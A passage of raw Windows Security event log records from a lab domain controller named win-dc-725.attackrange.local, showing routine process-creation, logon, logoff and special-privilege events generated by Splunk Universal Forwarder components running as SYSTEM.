Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:15:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256342
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf9c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:15:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256343
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe4c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:15:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256346
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3EF387

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:15:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256345
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3EF387
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		51468

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:15:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256344
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3EF387

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:16:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256347
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5c0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:16:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256349
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb78
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:16:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256348
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd04
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:16:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256350
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x6f8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:16:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256351
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3a8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:16:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256352
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xca4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:16:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256353
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc14
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:16:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256356
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3F38E4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:16:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256355
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3F38E4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		51481

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:16:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256354
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3F38E4

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:17:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256362
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3F3BFE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:17:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256361
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3F3BFE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		51485

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:17:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256360
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3F3BFE

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:17:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256359
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3F3B92

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:17:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256358
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3F3B92
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		51484

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:17:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256357
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3F3B92

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:17:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256363
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x39c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:17:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256365
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa88
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:17:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
